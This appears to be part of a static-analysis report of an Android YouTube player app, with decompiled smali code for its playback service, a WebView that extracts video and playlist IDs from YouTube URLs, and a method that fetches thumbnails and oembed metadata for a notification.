365invoke-direct {p0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->g()V
366goto/16 :goto_e
367cond_201: sget v1, Lcom/pedqaesf/app/b;->c:I
368if-ne v1, v3, :cond_223
370invoke-virtual {p0, v6}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 2131231769
371move-result-object v1
373invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
  • Data flow analysis:
    • p1: 2130837604
375invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
376sput v2, Lcom/pedqaesf/app/b;->c:I
377sget v0, Lcom/pedqaesf/app/b;->b:I
378if-ne v0, v3, :cond_21e
380sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->y:Lcom/pedqaesf/app/player/c;
382invoke-static {}, Lcom/pedqaesf/app/player/a;->i()Ljava/lang/String;
383move-result-object v0
385invoke-static {v0}, Lcom/pedqaesf/app/player/c;->a(Ljava/lang/String;)V
386cond_21e:
387invoke-direct {p0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->g()V
388goto/16 :goto_e
389cond_223: sget v1, Lcom/pedqaesf/app/b;->c:I
390if-ne v1, v2, :cond_e
392invoke-virtual {p0, v6}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 2131231769
393move-result-object v1
395invoke-interface {v0, v1, v5}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
  • Data flow analysis:
    • p1: 0
397invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
398sput v5, Lcom/pedqaesf/app/b;->c:I
399sget v0, Lcom/pedqaesf/app/b;->b:I
400if-ne v0, v3, :cond_240
402sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->y:Lcom/pedqaesf/app/player/c;
404invoke-static {}, Lcom/pedqaesf/app/player/a;->i()Ljava/lang/String;
405move-result-object v0
407invoke-static {v0}, Lcom/pedqaesf/app/player/c;->a(Ljava/lang/String;)V
408cond_240:
409invoke-direct {p0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->g()V
410goto/16 :goto_e
411nop
APIs
  • android.content.Intent.getAction
  • java.lang.String.equals
  • android.util.Log.d
  • com.pedqaesf.app.player.INSYouTubePlayerService.getApplicationContext
  • android.preference.PreferenceManager.getDefaultSharedPreferences
  • com.pedqaesf.app.player.INSYouTubePlayerService.getString
  • android.content.SharedPreferences.getInt
  • com.pedqaesf.app.player.INSYouTubePlayerService.a
  • android.content.Intent.getAction
  • java.lang.String.equals
  • android.util.Log.i
  • com.pedqaesf.app.player.INSYouTubePlayerService.stopForeground
  • com.pedqaesf.app.player.INSYouTubePlayerService.stopSelf
  • android.content.Intent.<init>
  • com.pedqaesf.app.player.INSYouTubePlayerService.stopService
  • android.content.Intent.getAction
  • java.lang.String.equals
  • android.util.Log.i
  • android.content.Intent.getAction
  • java.lang.String.equals
  • android.util.Log.d
  • android.content.Intent.getAction
  • java.lang.String.equals
  • android.util.Log.d
Strings
  • com.pedqaesf.app.ytube.action.playingweb
  • Service
  • Started!
  • com.pedqaesf.app.ytube.action.stopplayingweb
  • Trying To Destroy
  • ...
  • com.pedqaesf.app.ytube.action.play
  • Trying to
  • Replay Playlist
  • Replay Video
  • Pause Video
  • Play Video
  • com.pedqaesf.app.ytube.action.next
  • Play Next
  • com.pedqaesf.app.ytube.action.prev
  • Play Previous
Position Instruction Meta Information
0.prologue
1const/4 v3, 0x0
2const/4 v2, 0x1
3sput-object p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->e:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
5invoke-virtual {p1}, Landroid/content/Intent;->getAction()Ljava/lang/String;
6move-result-object v0
8const-string v1, "com.pedqaesf.app.ytube.action.playingweb"
10invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: com.pedqaesf.app.ytube.action.playingweb
11move-result v0
12if-eqz v0, :cond_35
14const-string v0, "Service "
16const-string v1, "Started!"
18invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Service
    • msg: Started!
20invoke-virtual {p0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->getApplicationContext()Landroid/content/Context;
21move-result-object v0
23invoke-static {v0}, Landroid/preference/PreferenceManager;->getDefaultSharedPreferences(Landroid/content/Context;)Landroid/content/SharedPreferences;
24move-result-object v0
25iput-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->ai:Landroid/content/SharedPreferences;
27iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->ai:Landroid/content/SharedPreferences;
28const v1, 0x7f080419
30invoke-virtual {p0, v1}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 2131231769
31move-result-object v1
33invoke-interface {v0, v1, v3}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
  • Data flow analysis:
    • p1: 0
34move-result v0
35sput v0, Lcom/pedqaesf/app/b;->c:I
37invoke-direct {p0, p1}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->a(Landroid/content/Intent;)V
38goto_33: const/4 v0, 0x2
39return v0
40cond_35:
41invoke-virtual {p1}, Landroid/content/Intent;->getAction()Ljava/lang/String;
42move-result-object v0
44const-string v1, "com.pedqaesf.app.ytube.action.stopplayingweb"
46invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: com.pedqaesf.app.ytube.action.stopplayingweb
47move-result v0
48if-eqz v0, :cond_59
50const-string v0, "Trying To Destroy "
52const-string v1, "..."
54invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Trying To Destroy
    • msg: ...
56invoke-virtual {p0, v2}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->stopForeground(Z)V
  • Data flow analysis:
    • removeNotification: 1
58invoke-virtual {p0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->stopSelf()V
59new-instance v0, Landroid/content/Intent;
60const-class v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;
62invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
64invoke-virtual {p0, v0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->stopService(Landroid/content/Intent;)Z
65goto/16 :goto_33
66cond_59:
67invoke-virtual {p1}, Landroid/content/Intent;->getAction()Ljava/lang/String;
68move-result-object v0
70const-string v1, "com.pedqaesf.app.ytube.action.play"
72invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: com.pedqaesf.app.ytube.action.play
73move-result v0
74if-eqz v0, :cond_be
75sget-boolean v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->B:Z
76if-eqz v0, :cond_ac
77sget-boolean v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->ab:Z
78if-nez v0, :cond_71
79sget-boolean v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->ac:Z
80if-eqz v0, :cond_9b
81cond_71: sget v0, Lcom/pedqaesf/app/b;->b:I
82if-ne v0, v2, :cond_88
84const-string v0, "Trying to "
86const-string v1, "Replay Playlist"
88invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Trying to
    • msg: Replay Playlist
90sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->y:Lcom/pedqaesf/app/player/c;
92invoke-static {}, Lcom/pedqaesf/app/player/a;->j()Ljava/lang/String;
93move-result-object v0
95invoke-static {v0}, Lcom/pedqaesf/app/player/c;->a(Ljava/lang/String;)V
96sput-boolean v3, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->ac:Z
97goto/16 :goto_33
98cond_88:
99const-string v0, "Trying to "
101const-string v1, "Replay Video"
103invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Trying to
    • msg: Replay Video
105sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->y:Lcom/pedqaesf/app/player/c;
107invoke-static {}, Lcom/pedqaesf/app/player/a;->a()Ljava/lang/String;
108move-result-object v0
110invoke-static {v0}, Lcom/pedqaesf/app/player/c;->a(Ljava/lang/String;)V
111sput-boolean v3, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->ab:Z
112goto/16 :goto_33
113cond_9b:
114const-string v0, "Trying to "
116const-string v1, "Pause Video"
118invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Trying to
    • msg: Pause Video
120sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->y:Lcom/pedqaesf/app/player/c;
122invoke-static {}, Lcom/pedqaesf/app/player/a;->b()Ljava/lang/String;
123move-result-object v0
125invoke-static {v0}, Lcom/pedqaesf/app/player/c;->a(Ljava/lang/String;)V
126goto/16 :goto_33
127cond_ac:
128const-string v0, "Trying to "
130const-string v1, "Play Video"
132invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Trying to
    • msg: Play Video
134sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->y:Lcom/pedqaesf/app/player/c;
136invoke-static {}, Lcom/pedqaesf/app/player/a;->a()Ljava/lang/String;
137move-result-object v0
139invoke-static {v0}, Lcom/pedqaesf/app/player/c;->a(Ljava/lang/String;)V
140goto/16 :goto_33
141cond_be:
142invoke-virtual {p1}, Landroid/content/Intent;->getAction()Ljava/lang/String;
143move-result-object v0
145const-string v1, "com.pedqaesf.app.ytube.action.next"
147invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: com.pedqaesf.app.ytube.action.next
148move-result v0
149if-eqz v0, :cond_ed
151const-string v0, "Trying to "
153const-string v1, "Play Next"
155invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Trying to
    • msg: Play Next
156sget v0, Lcom/pedqaesf/app/b;->b:I
157if-nez v0, :cond_e0
159sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->y:Lcom/pedqaesf/app/player/c;
161invoke-static {}, Lcom/pedqaesf/app/player/a;->g()Ljava/lang/String;
162move-result-object v0
164invoke-static {v0}, Lcom/pedqaesf/app/player/c;->a(Ljava/lang/String;)V
165goto/16 :goto_33
166cond_e0:
167sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->y:Lcom/pedqaesf/app/player/c;
169invoke-static {}, Lcom/pedqaesf/app/player/a;->d()Ljava/lang/String;
170move-result-object v0
172invoke-static {v0}, Lcom/pedqaesf/app/player/c;->a(Ljava/lang/String;)V
173sput-boolean v2, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->aa:Z
174goto/16 :goto_33
175cond_ed:
176invoke-virtual {p1}, Landroid/content/Intent;->getAction()Ljava/lang/String;
177move-result-object v0
179const-string v1, "com.pedqaesf.app.ytube.action.prev"
181invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: com.pedqaesf.app.ytube.action.prev
182move-result v0
183if-eqz v0, :cond_33
185const-string v0, "Trying to "
187const-string v1, "Play Previous"
189invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Trying to
    • msg: Play Previous
190sget v0, Lcom/pedqaesf/app/b;->b:I
191if-nez v0, :cond_10f
193sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->y:Lcom/pedqaesf/app/player/c;
195invoke-static {}, Lcom/pedqaesf/app/player/a;->g()Ljava/lang/String;
196move-result-object v0
198invoke-static {v0}, Lcom/pedqaesf/app/player/c;->a(Ljava/lang/String;)V
199goto/16 :goto_33
200cond_10f:
201sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->y:Lcom/pedqaesf/app/player/c;
203invoke-static {}, Lcom/pedqaesf/app/player/a;->e()Ljava/lang/String;
204move-result-object v0
206invoke-static {v0}, Lcom/pedqaesf/app/player/c;->a(Ljava/lang/String;)V
207sput-boolean v2, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->aa:Z
208goto/16 :goto_33
APIs
  • android.webkit.WebResourceRequest.getUrl
  • java.lang.String.valueOf
  • java.lang.String.contains
  • android.webkit.WebResourceRequest.getUrl
  • java.lang.String.valueOf
  • java.lang.String.contains
  • android.webkit.WebResourceRequest.getUrl
  • java.lang.String.valueOf
  • android.util.Log.d
  • java.lang.String.indexOf
  • java.lang.String.length
  • java.lang.String.substring
  • android.util.Log.d
  • java.lang.String.indexOf
  • java.lang.String.length
  • java.lang.String.substring
  • java.util.regex.Pattern.compile
  • java.lang.String.toString
  • java.util.regex.Pattern.matcher
  • android.util.Log.d
  • java.util.regex.Matcher.matches
  • java.util.regex.Matcher.group
  • java.lang.String.contains
  • android.util.Log.d
  • com.pedqaesf.app.INSMainActivity.getMainLooper
  • android.os.Handler.<init>
  • android.os.Handler.post
  • android.webkit.WebViewClient.shouldInterceptRequest
  • android.util.Log.d
Strings
  • http://m.youtube.com/watch?
  • https://m.youtube.com/watch?
  • Yay Catches!!!!
  • &v=
  • VID
  • &list=
  • ([A-Za-z0-9_-]+)&[\\w]+=.*
  • ListID
  • m.youtube.com
  • Not a
  • Playlist.
  • PlaylistID
Position Instruction Meta Information
0.prologue
1const/4 v4, 0x1
2sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
3const/16 v1, 0x15
4if-lt v0, v1, :cond_b4
6invoke-interface {p2}, Landroid/webkit/WebResourceRequest;->getUrl()Landroid/net/Uri;
7move-result-object v0
9invoke-static {v0}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
10move-result-object v0
12const-string v1, "http://m.youtube.com/watch?"
14invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
  • Data flow analysis:
    • p0: http://m.youtube.com/watch?
15move-result v0
16if-nez v0, :cond_27
18invoke-interface {p2}, Landroid/webkit/WebResourceRequest;->getUrl()Landroid/net/Uri;
19move-result-object v0
21invoke-static {v0}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
22move-result-object v0
24const-string v1, "https://m.youtube.com/watch?"
26invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
  • Data flow analysis:
    • p0: https://m.youtube.com/watch?
27move-result v0
28if-eqz v0, :cond_b4
29cond_27:
30invoke-interface {p2}, Landroid/webkit/WebResourceRequest;->getUrl()Landroid/net/Uri;
31move-result-object v0
33invoke-static {v0}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
34move-result-object v0
36const-string v1, "Yay Catches!!!! "
38invoke-static {v1, v0}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Yay Catches!!!!
40iget-object v1, p0, Lcom/pedqaesf/app/INSMainActivity$7;->a:Lcom/pedqaesf/app/INSMainActivity;
42const-string v2, "&v="
44invoke-virtual {v0, v2}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: &v=
45move-result v2
46add-int/lit8 v2, v2, 0x3
48invoke-virtual {v0}, Ljava/lang/String;->length()I
49move-result v3
51invoke-virtual {v0, v2, v3}, Ljava/lang/String;->substring(II)Ljava/lang/String;
52move-result-object v2
53iput-object v2, v1, Lcom/pedqaesf/app/INSMainActivity;->r:Ljava/lang/String;
55const-string v1, "VID "
57iget-object v2, p0, Lcom/pedqaesf/app/INSMainActivity$7;->a:Lcom/pedqaesf/app/INSMainActivity;
59iget-object v2, v2, Lcom/pedqaesf/app/INSMainActivity;->r:Ljava/lang/String;
61invoke-static {v1, v2}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: VID
63const-string v1, "&list="
65invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: &list=
66move-result v1
67add-int/lit8 v1, v1, 0x6
69invoke-virtual {v0}, Ljava/lang/String;->length()I
70move-result v2
72invoke-virtual {v0, v1, v2}, Ljava/lang/String;->substring(II)Ljava/lang/String;
73move-result-object v0
75const-string v1, "([A-Za-z0-9_-]+)&[\\w]+=.*"
76const/4 v2, 0x2
78invoke-static {v1, v2}, Ljava/util/regex/Pattern;->compile(Ljava/lang/String;I)Ljava/util/regex/Pattern;
  • Data flow analysis:
    • p0: ([A-Za-z0-9_-]+)&[\\w]+=.*
    • p1: 2
79move-result-object v1
81invoke-virtual {v0}, Ljava/lang/String;->toString()Ljava/lang/String;
82move-result-object v2
84invoke-virtual {v1, v2}, Ljava/util/regex/Pattern;->matcher(Ljava/lang/CharSequence;)Ljava/util/regex/Matcher;
85move-result-object v1
87const-string v2, "ListID"
89invoke-static {v2, v0}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: ListID
91iget-object v2, p0, Lcom/pedqaesf/app/INSMainActivity$7;->a:Lcom/pedqaesf/app/INSMainActivity;
93const-string v3, ""
94iput-object v3, v2, Lcom/pedqaesf/app/INSMainActivity;->s:Ljava/lang/String;
96invoke-virtual {v1}, Ljava/util/regex/Matcher;->matches()Z
97move-result v2
98if-eqz v2, :cond_89
100iget-object v2, p0, Lcom/pedqaesf/app/INSMainActivity$7;->a:Lcom/pedqaesf/app/INSMainActivity;
102invoke-virtual {v1, v4}, Ljava/util/regex/Matcher;->group(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 1
103move-result-object v1
104iput-object v1, v2, Lcom/pedqaesf/app/INSMainActivity;->s:Ljava/lang/String;
105cond_89:
106const-string v1, "m.youtube.com"
108invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
  • Data flow analysis:
    • p0: m.youtube.com
109move-result v0
110if-eqz v0, :cond_b9
112const-string v0, "Not a "
114const-string v1, "Playlist."
116invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Not a
    • msg: Playlist.
118iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity$7;->a:Lcom/pedqaesf/app/INSMainActivity;
119const/4 v1, 0x0
120iput-object v1, v0, Lcom/pedqaesf/app/INSMainActivity;->s:Ljava/lang/String;
121goto_9d: new-instance v0, Landroid/os/Handler;
123iget-object v1, p0, Lcom/pedqaesf/app/INSMainActivity$7;->a:Lcom/pedqaesf/app/INSMainActivity;
125invoke-virtual {v1}, Lcom/pedqaesf/app/INSMainActivity;->getMainLooper()Landroid/os/Looper;
126move-result-object v1
128invoke-direct {v0, v1}, Landroid/os/Handler;-><init>(Landroid/os/Looper;)V
130iget-object v1, p0, Lcom/pedqaesf/app/INSMainActivity$7;->a:Lcom/pedqaesf/app/INSMainActivity;
132iget-object v1, v1, Lcom/pedqaesf/app/INSMainActivity;->s:Ljava/lang/String;
133new-instance v1, Lcom/pedqaesf/app/INSMainActivity$7$1;
135invoke-direct {v1, p0}, Lcom/pedqaesf/app/INSMainActivity$7$1;-><init>(Lcom/pedqaesf/app/INSMainActivity$7;)V
137invoke-virtual {v0, v1}, Landroid/os/Handler;->post(Ljava/lang/Runnable;)Z
138cond_b4:
139invoke-super {p0, p1, p2}, Landroid/webkit/WebViewClient;->shouldInterceptRequest(Landroid/webkit/WebView;Landroid/webkit/WebResourceRequest;)Landroid/webkit/WebResourceResponse;
140move-result-object v0
141return-object v0
142cond_b9: sput v4, Lcom/pedqaesf/app/b;->b:I
144const-string v0, "PlaylistID "
146iget-object v1, p0, Lcom/pedqaesf/app/INSMainActivity$7;->a:Lcom/pedqaesf/app/INSMainActivity;
148iget-object v1, v1, Lcom/pedqaesf/app/INSMainActivity;->s:Ljava/lang/String;
150invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: PlaylistID
151goto/16 :goto_9d
Cross References
APIs
  • android.util.Log.d
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • com.pedqaesf.app.AsyncTask.a.<init>
  • com.pedqaesf.app.AsyncTask.a.execute
  • android.os.AsyncTask.get
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • com.pedqaesf.app.AsyncTask.b.<init>
  • com.pedqaesf.app.AsyncTask.b.execute
  • android.os.AsyncTask.get
  • org.json.JSONObject.<init>
  • org.json.JSONObject.getString
  • android.widget.RemoteViews.setImageViewBitmap
  • android.widget.RemoteViews.setTextViewText
  • android.app.NotificationManager.notify
  • java.lang.InterruptedException.printStackTrace
  • java.util.concurrent.ExecutionException.printStackTrace
  • java.net.MalformedURLException.printStackTrace
  • org.json.JSONException.printStackTrace
Strings
  • Setting
  • Image, Title, Author
  • https://i.ytimg.com/vi/
  • /mqdefault.jpg
  • https://www.youtube.com/oembed?url=http://www.youtu.be/watch?v=
  • &format=json
  • title
  • author_name
Position Instruction Meta Information
0.prologue
2const-string v0, "Setting "
4const-string v1, "Image, Title, Author"
6invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Setting
    • msg: Image, Title, Author
7try_start_7: new-instance v0, Lcom/pedqaesf/app/AsyncTask/a;
8new-instance v1, Ljava/lang/StringBuilder;
10invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
12const-string v2, "https://i.ytimg.com/vi/"
14invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: https://i.ytimg.com/vi/
15move-result-object v1
17invoke-virtual {v1, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
18move-result-object v1
20const-string v2, "/mqdefault.jpg"
22invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: /mqdefault.jpg
23move-result-object v1
25invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
26move-result-object v1
28invoke-direct {v0, v1}, Lcom/pedqaesf/app/AsyncTask/a;-><init>(Ljava/lang/String;)V
29const/4 v1, 0x0
30new-array v1, v1, [Ljava/lang/Void;
32invoke-virtual {v0, v1}, Lcom/pedqaesf/app/AsyncTask/a;->execute([Ljava/lang/Object;)Landroid/os/AsyncTask;
33move-result-object v0
35invoke-virtual {v0}, Landroid/os/AsyncTask;->get()Ljava/lang/Object;
36move-result-object v0
37check-cast v0, Landroid/graphics/Bitmap;
38sput-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->b:Landroid/graphics/Bitmap;
39new-instance v0, Lcom/pedqaesf/app/AsyncTask/b;
40new-instance v1, Ljava/lang/StringBuilder;
42invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
44const-string v2, "https://www.youtube.com/oembed?url=http://www.youtu.be/watch?v="
46invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: https://www.youtube.com/oembed?url=http://www.youtu.be/watch?v=
47move-result-object v1
49invoke-virtual {v1, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
50move-result-object v1
52const-string v2, "&format=json"
54invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: &format=json
55move-result-object v1
57invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
58move-result-object v1
60invoke-direct {v0, v1}, Lcom/pedqaesf/app/AsyncTask/b;-><init>(Ljava/lang/String;)V
61const/4 v1, 0x0
62new-array v1, v1, [Ljava/lang/String;
64invoke-virtual {v0, v1}, Lcom/pedqaesf/app/AsyncTask/b;->execute([Ljava/lang/Object;)Landroid/os/AsyncTask;
65move-result-object v0
67invoke-virtual {v0}, Landroid/os/AsyncTask;->get()Ljava/lang/Object;
68move-result-object v0
69check-cast v0, Ljava/lang/String;
70new-instance v1, Lorg/json/JSONObject;
72invoke-direct {v1, v0}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
74const-string v0, "title"
76invoke-virtual {v1, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: title
77move-result-object v0
78sput-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->c:Ljava/lang/String;
80const-string v0, "author_name"
82invoke-virtual {v1, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: author_name
83move-result-object v0
84sput-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->d:Ljava/lang/String;
86sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->D:Landroid/widget/RemoteViews;
87const v1, 0x7f0f00cf
89sget-object v2, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->b:Landroid/graphics/Bitmap;
91invoke-virtual {v0, v1, v2}, Landroid/widget/RemoteViews;->setImageViewBitmap(ILandroid/graphics/Bitmap;)V
  • Data flow analysis:
    • viewId: 2131689679
93sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->E:Landroid/widget/RemoteViews;
94const v1, 0x7f0f00cf
96sget-object v2, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->b:Landroid/graphics/Bitmap;
98invoke-virtual {v0, v1, v2}, Landroid/widget/RemoteViews;->setImageViewBitmap(ILandroid/graphics/Bitmap;)V
  • Data flow analysis:
    • viewId: 2131689679
100sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->D:Landroid/widget/RemoteViews;
101const v1, 0x7f0f0062
103sget-object v2, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->c:Ljava/lang/String;
105invoke-virtual {v0, v1, v2}, Landroid/widget/RemoteViews;->setTextViewText(ILjava/lang/CharSequence;)V
  • Data flow analysis:
    • viewId: 2131689570
107sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->D:Landroid/widget/RemoteViews;
108const v1, 0x7f0f00d1
110sget-object v2, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->d:Ljava/lang/String;
112invoke-virtual {v0, v1, v2}, Landroid/widget/RemoteViews;->setTextViewText(ILjava/lang/CharSequence;)V
  • Data flow analysis:
    • viewId: 2131689681
114sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->E:Landroid/widget/RemoteViews;
115const v1, 0x7f0f00d1
117sget-object v2, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->d:Ljava/lang/String;
119invoke-virtual {v0, v1, v2}, Landroid/widget/RemoteViews;->setTextViewText(ILjava/lang/CharSequence;)V
  • Data flow analysis:
    • viewId: 2131689681
121sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->H:Landroid/app/NotificationManager;
122const/16 v1, 0x65
124sget-object v2, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->I:Landroid/app/Notification;
126invoke-virtual {v0, v1, v2}, Landroid/app/NotificationManager;->notify(ILandroid/app/Notification;)V
  • Data flow analysis:
    • id: 101
127try_end_af: return-void
128catch_b0: move-exception v0
130invoke-virtual {v0}, Ljava/lang/InterruptedException;->printStackTrace()V
131goto/16 :goto_af
132catch_b5: move-exception v0
134invoke-virtual {v0}, Ljava/util/concurrent/ExecutionException;->printStackTrace()V
135goto/16 :goto_af
136catch_ba: move-exception v0
138invoke-virtual {v0}, Ljava/net/MalformedURLException;->printStackTrace()V
139goto/16 :goto_af
140catch_bf: move-exception v0
142invoke-virtual {v0}, Lorg/json/JSONException;->printStackTrace()V
143goto/16 :goto_af
Cross References
APIs
  • com.mikepenz.a.b.g
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.os.Bundle.getIntArray
  • java.lang.Integer.valueOf
  • java.lang.Integer.intValue
  • com.mikepenz.a.b.n
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.os.Bundle.getIntArray
  • java.lang.Integer.valueOf
  • java.lang.Integer.intValue
  • com.mikepenz.a.b.j
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.os.Bundle.getStringArrayList
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.os.Bundle.getStringArrayList
  • com.mikepenz.a.b.a
  • com.mikepenz.a.b.e
  • java.lang.String.valueOf
  • java.util.ArrayList.contains
  • com.mikepenz.a.b.n
  • com.mikepenz.a.b.a
  • java.util.ArrayList.contains
  • com.mikepenz.a.b.j
Strings
  • bundle_expanded
  • bundle_selections
Position Instruction Meta Information
